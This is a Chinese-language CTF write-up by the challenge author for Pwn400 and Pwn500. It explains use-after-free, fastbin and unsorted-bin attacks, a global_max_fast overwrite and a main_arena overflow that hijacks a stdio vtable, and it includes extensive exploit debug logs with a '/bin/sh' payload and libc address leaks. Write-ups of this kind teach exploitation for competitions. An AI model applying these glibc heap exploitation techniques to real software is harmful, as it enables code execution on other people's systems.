胖哈勃杯Pwn400、Pwn500详解

Pwn400

漏洞

Welcome to life Crowdfunding~~

==============================
1.Create a Crowdfunding
2.Edit my Crowdfunding
3.Delete my Crowdfunding
4.Show my Crowdfunding
5.Submit
==============================
7.exit
==============================

Pwn400是个常见的选单程序，提供6个功能，开启了NX、CANARY没有开启PIE和RELRO，程序一共存在两个漏洞。

思路

Use-After-Free==>fastbin attack==>overwrite bss_name_ptr==>信息泄漏(Leak libc)

利用

[DEBUG] Received 0xfa bytes:
'Welcome to life Crowdfunding~~\n'
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Sent 0x12 bytes:
00000000  61 61 61 61  61 61 61 61  00 00 00 00  00 00 00 00  │aaaa│aaaa│····│····│
00000010  21 0a                                               │!·│
00000012

[DEBUG] Received 0xfe bytes:
'Aha We have already have +1 seconds\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
'OK,the Crowdfunding is deleted!\n'
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'2\n'
'inputs seconds:\n'
[DEBUG] Sent 0x8 bytes:
'6299848\n'
'Ok,the Crowdfunding is +6299848s now!\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'5\n'
'Are you sure submit this post?(Y/N)\n'
[DEBUG] Sent 0x1 bytes:
'Y' * 0x1
[DEBUG] Sent 0x9 bytes:
'bbbbbbbb\n'
'The last step is do you want to leave some message?\n'
[DEBUG] Sent 0x9 bytes:
00000000  18 20 60 00  00 00 00 00  0a                        │· ·│····│·│
00000009

[DEBUG] Received 0xdb bytes:
'\n'
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x3 bytes:
'10\n'

=====>std_err :0x7f8e1a4a0540


[DEBUG] Received 0x17 bytes:
[DEBUG] Sent 0x3 bytes:
'40\n'
'Pls input tiltle\n'
[DEBUG] Sent 0x31 bytes:
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
*
00000020  41 41 41 41  41 41 41 41  61 02 00 00  00 00 00 00  │AAAA│AAAA│a···│····│
00000030  0a                                                  │·│
00000031

[DEBUG] Received 0x111 bytes:
'\n'
'==============================\n'
'1.Create a Crowdfunding\n'
'2.Edit my Crowdfunding\n'
'3.Delete my Crowdfunding\n'
'4.Show my Crowdfunding\n'
'5.Submit\n'
'==============================\n'
'7.exit\n'
'==============================\n'
[DEBUG] Sent 0x2 bytes:
'1\n'

=====>heap_base :0xf25410

[DEBUG] Received 0x16 bytes:
[DEBUG] Sent 0x189 bytes:
00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │/bin│/sh·│····│····│
00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
*
00000060  00 00 00 00  00 00 00 00  40 95 6f c9  97 7f 00 00  │····│····│@·o·│····│
00000070  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
00000080  00 00 00 00  00 00 00 00  80 55 f2 00  00 00 00 00  │····│····│·U··│····│
00000090  ff ff ff ff  ff ff ff ff  00 00 00 00  00 00 00 00  │····│····│····│····│
000000a0  90 55 f2 00  00 00 00 00  00 00 00 00  00 00 00 00  │·U··│····│····│····│
000000b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000c0  ff ff ff ff  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000d0  00 00 00 00  00 00 00 00  80 55 f2 00  00 00 00 00  │····│····│·U··│····│
000000e0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
000000f0  90 a3 37 c9  97 7f 00 00  90 a3 37 c9  97 7f 00 00  │··7·│····│··7·│····│

Pwn500

Pwn500是我花了比较大的力气出的一道题，如果你观察国内一些质量比较差的CTF会发现Pwn基本上就是那几种套路大家抄来抄去的没什么意思。相反一些高质量的比赛诸如Hitcon、0CTF，总会有一些新东西可以让人眼前一亮，通过题目能够让选手学到一些新知识。我这次Pwn500的设计之初就给自己定了一个目标，凡是以前CTF出现过的玩法我这次绝对不出，从结果来看这次创新还是比较成功的。

漏洞

Pwn500是个有二级选单的题目

welcome to House of lemon
This is a lemon store.

Here is our lemon types list:
1.Meyer lemon
2.Ponderosa lemon
4.Submit

Now you have 10$Pls input your choice: 这道题目一共有两个漏洞，开启了所有的保护(因此.got表因RELRO不可写，比赛中有选手特意问过我这个) 第一个漏洞是在4号Submit功能中存在一个内存未初始化漏洞，这个漏洞没有对栈上的内存进行初始化就直接使用了，如果我们以特定的顺序调用函数，这个漏洞就可以读到前面函数遗留下来的栈内容从而导致信息泄漏。 第二个漏洞相当明显，在向16个字节的结构读入数据时使用了错误的大小导致指针被覆盖 由于不存在使用指针进行的读写等操作，所以指针覆盖并不会直接导致任意地址读写的结果。但是这个链表并不是普通的单链表，我是使用如下代码进行的link和unlink: link bck=data_start.bk; data_start.bk=ptr; ptr->fd=&data_start; ptr->bk=bck; bck->fd=ptr; unlink ul=data_start.bk; bck=ul->bk; data_start.bk=bck; bck->fd=&data_start; 如果你熟悉ptmalloc的源码或是经常做Pwn，那么可能很快就意识到这个其实就是unsorted bin的连接方式(比如鸡丁师傅直接就看出是unsorted bin，厉害的很)，所以我这里实质上是提供了一个unsorted attack。 其实我本来是想直接设置一个unsorted attack的，但是实际调试后发现会影响后续的利用步骤，索性按照unsorted attack的组织方式写了一个链表提供了一个任意地址写固定值的机会。 此外要强调的一点是题目中的每种操作基本上都只能做1次，这个限制就断绝了其他利用方法的可能。 思路 我个人认为这道题是相当难的，需要对libc有很深入的了解，并且思维要开阔。难点有2个，第一个是拿到任意地址写固定值后选择往何处写，第二是如何进行main_arena overflow。 首先肯定是需要泄漏地址，我限制了泄漏函数只能使用一次，这样一来泄漏的内容就只能是栈地址、堆地址、Libc地址、主模块地址(因为开启了PIE)中的一个。对于利用来说，我们肯定选择Libc地址进行泄漏。 从溢出到unsorted attack不必多说，拿到unsorted attack之后最大的问题要写的目标是谁。 由于unlink造成的写只能写固定值，并且这个值所代表的地址的内容并不为我们所控(data段上的data_start地址)。因此这里的写不能通过写malloc_hook、_IO_list_all、vtable等结构直接获取shell。 设计的思路是写global_max_fast，这个值位于glibc的bss段上，初始时为0在堆经过初始化后会被赋为0x80(x64)。我们知道fastbin是存在一个大小边界的，只有小于这个边界值的堆块才会使用fastbin的机制管理，一般来说x86上是64字节，x64上是128字节。其实这个边界就是global_max_fast，如果我们修改了这个边界值会导致归属于fastbin块的范围发生变化。 其实对global_max_fast动手脚不是第一次出现在CTF中，在去年的0CTF中同样有一道题目是通过任意地址写global_max_fast来进行的利用。不过单纯的把global_max_fast改大并不能让我们控制到程序的执行流程，真正的问题出在_int_free中 在_int_free中，首先验证了释放块的大小与global_max_fast的关系，之后使用fastbin_index由chunk size计算下标 然而fastbin_index宏只是简单的根据size大小计算index值，这样如果我们在前面使用过大的size值就会导致main_arena溢出。 事实上2004年发表的《Malloc Maleficarum》中就提到过这一点，做Pwn的同学应该都读过这篇经典文章，文章中作者把这种利用方法称为House of Prime。但是House of Prime实际上是实现不了的，不仅HoP实现不了而且其中很多东西都存在问题，正像一个外国人评价的 When the “Malloc Maleficarum” was published, as it was a purely theoretical article, contained no real exploit implementations or practical examples. 虽然House of Prime不能实现，但是_int_free在计算fastbin的下标时的确是存在问题，而这也是我这道House of Lemon的出题思路。如果你仔细研究过glibc你应该会知道标准的输入输出流(stdin、stdout)都是位于glibc模块的data段的，用户程序使用的是这一结构的指针。如果你再细心一点你会发现stdin、stdout正好被编译在main_arena后面，就是说如果fastbin的尺寸合适是可以溢出main_arena覆盖到后面stdout\stdin结构的。我们知道堆中释放的内存只是逻辑上的释放，实际上的内存映射并不会取消，那么我们可以先在合适尺寸的堆中填入伪造的函数指针，再释放这个堆就可以溢出main_arena覆盖标准流的vtable从而劫持程序流程。 利用 首先任意调用一个函数，目的是在栈上留存一些数据，然后调用4号功能泄漏出未初始化的内存。 [DEBUG] Received 0xf4 bytes: '\n' 'welcome to House of lemon\n' 'This is a lemon store.\n' '\n' 'Here is our lemon types list:\n' '1.Meyer lemon\n' '2.Ponderosa lemon\n' '3.Leave advise\n' '4.Submit\n' '\n' 'Now you have 0$\n'
[DEBUG] Sent 0x2 bytes:
'4\n'
'Pls input your phone number first:\n'
[DEBUG] Sent 0x2 bytes:
'a\n'
[DEBUG] Sent 0x29 bytes:
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
00000000  4f 4b 2c 79  6f 75 72 20  69 6e 70 75  74 20 69 73  │OK,y│our │inpu│t is│
00000010  3a 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │:bbb│bbbb│bbbb│bbbb│
00000020  62 62 62 62  62 62 62 62  62 62 62 62  62 62 62 62  │bbbb│bbbb│bbbb│bbbb│
00000030  62 62 62 62  62 62 62 62  62 90 ae 55  95 22 7f 0a  │bbbb│bbbb│b··U│·"··│
00000040  77 65 6c 63  6f 6d 65 20  74 6f 20 48  6f 75 73 65  │welc│ome │to H│ouse│
00000050  20 6f 66 20  6c 65 6d 6f  6e 0a 54 68  69 73 20 69  │ of │lemo│n·Th│is i│
00000060  73 20 61 20  6c 65 6d 6f  6e 20 73 74  6f 72 65 2e  │s a │lemo│n st│ore.│
00000070  0a 0a 48 65  72 65 20 69  73 20 6f 75  72 20 6c 65  │··He│re i│s ou│r le│
00000080  6d 6f 6e 20  74 79 70 65  73 20 6c 69  73 74 3a 0a  │mon │type│s li│st:·│
00000090  31 2e 4d 65  79 65 72 20  6c 65 6d 6f  6e 0a 32 2e  │1.Me│yer │lemo│n·2.│
000000a0  50 6f 6e 64  65 72 6f 73  61 20 6c 65  6d 6f 6e 0a  │Pond│eros│a le│mon·│
000000b0  33 2e 4c 65  61 76 65 20  61 64 76 69  73 65 0a 34  │3.Le│ave │advi│se·4│
000000c0  2e 53 75 62  6d 69 74 0a  0a 4e 6f 77  20 79 6f 75  │.Sub│mit·│·Now│ you│
000000d0  20 68 61 76  65 20 30 24  0a 50 6c 73  20 69 6e 70  │ hav│e 0$│·Pls│ inp│ 000000e0 75 74 20 79 6f 75 72 20 63 68 6f 69 63 65 3a 0a │ut y│our │choi│ce:·│ 000000f0 =====>leak_addr :0x7f229555ae90 =====>libc_base :0x7f2295526960 =====>system_addr :0x7f229556bcf0 =====>max_fast :0x7f22958ec158 之后新建一个Lemon以获得一个任意地址写固定值的机会，我们把写的目标设为global_max_fast [DEBUG] Received 0x94 bytes: '\n' 'You choice the Meyer lemon!\n' '1.Information about Meyer lemon\n' '2.Add to my cart\n' '3.Remove from my cart\n' '4.Leave Message\n' '5.back..\n' 'Pls Input your choice:\n' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0xb bytes: 'Get Input:\n' [DEBUG] Sent 0x21 bytes: 00000000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│ 00000010 48 c1 8e 95 22 7f 00 00 48 c1 8e 95 22 7f 00 00 │H···│"···│H···│"···│ 00000020 0a │·│ 00000021  然后根据计算好的溢出距离新建一个chunk，之后我们会释放这个chunk从而溢出main_arena [DEBUG] Received 0x36 bytes: '1.leave advise\n' '2.edit advise\n' '3.delete advise\n' '4.return\n' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x16 bytes: 'Input size(200~8000):\n' [DEBUG] Sent 0x5 bytes: '6064\n'  之后我们对链表进行unlink覆写global_max_fast，注意必须要先分配chunk再去覆写global_max_fast，因为此时的chunk尚属于large chunk否则就会在_int_malloc中发生crash。 [DEBUG] Received 0xb1 bytes: '\n' 'welcome to House of lemon\n' 'This is a lemon store.\n' '\n' 'Here is our lemon types list:\n' '1.Meyer lemon\n' '2.Ponderosa lemon\n' '3.Leave advise\n' '4.Submit\n' '\n' 'Now you have 0$\n'
[DEBUG] Sent 0x2 bytes:
'1\n'
'\n'
'You choice the Meyer lemon!\n'
'3.Remove from my cart\n'
'4.Leave Message\n'
'5.back..\n'
[DEBUG] Sent 0x2 bytes:
'3\n'

[DEBUG] Received 0xb1 bytes:
'\n'
'welcome to House of lemon\n'
'This is a lemon store.\n'
'\n'
'Here is our lemon types list:\n'
'1.Meyer lemon\n'
'2.Ponderosa lemon\n'
'4.Submit\n'
'\n'
'Now you have 0\$\n'
[DEBUG] Sent 0x2 bytes:
'3\n'
'3\n'`